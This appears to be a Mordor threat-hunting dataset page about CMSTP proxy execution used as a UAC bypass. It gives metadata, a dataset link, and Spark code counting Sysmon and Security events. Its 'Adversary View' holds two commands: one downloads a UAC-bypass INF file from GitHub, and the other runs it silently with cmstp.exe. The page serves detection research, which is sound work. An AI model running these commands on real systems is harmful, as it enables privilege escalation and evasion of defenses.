CMSTP Proxy Execution¶

Metadata¶


Author	Roberto Rodriguez @Cyb3rWard0g
Creation Date	2020/10/22
Modification Date	2020/10/22
Tactics	[‘TA0005’]
Techniques	[‘T1218.003’]
Tags	[‘art.748cb4f6-2fb3-4e97-b7ad-b22635a09ab0’]

Dataset Description¶

This dataset represents threat actors leveraging CMSTP to execute an Inf file to proxy execute other malicious commands (i.e. cmd.exe). (Embedding commands in the RunPreSetupCommandsSection of the INF file).

Datasets Downloads¶

Dataset Type	Link
Host	https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_cmstp_execution_bypassuac.zip

Notebooks¶

Notebooks created by the community leveraging the mordor datasets

Author	Name	Link

Simulation Plan¶

Environment	Tool Type	Module
Lab VM	Manual	powershell

Adversary View¶

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf" -OutFile C:\ProgramData\T1218.003_uacbypass.inf
cmstp.exe /s C:\ProgramData\T1218.003_uacbypass.inf /au

Explore Mordor Dataset¶

Initialize Analytics Engine¶

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File¶

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_cmstp_execution_bypassuac.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")

[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data¶

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)

+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |271  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22     |205  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |185  |
|WORKSTATION5|Security                            |4673   |170  |
|WORKSTATION5|Security                            |4658   |78   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |51   |
|WORKSTATION5|Security                            |4690   |39   |
|WORKSTATION5|Security                            |4656   |39   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |39   |
|WORKSTATION5|Security                            |4663   |38   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |12   |
|WORKSTATION5|Security                            |5158   |7    |
|WORKSTATION5|Security                            |5156   |7    |
|WORKSTATION5|Security                            |4688   |5    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |5    |
|WORKSTATION5|Security                            |4703   |4    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9      |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3      |2    |
|WORKSTATION5|Security                            |4689   |2    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |2    |
+------------+------------------------------------+-------+-----+
only showing top 20 rows

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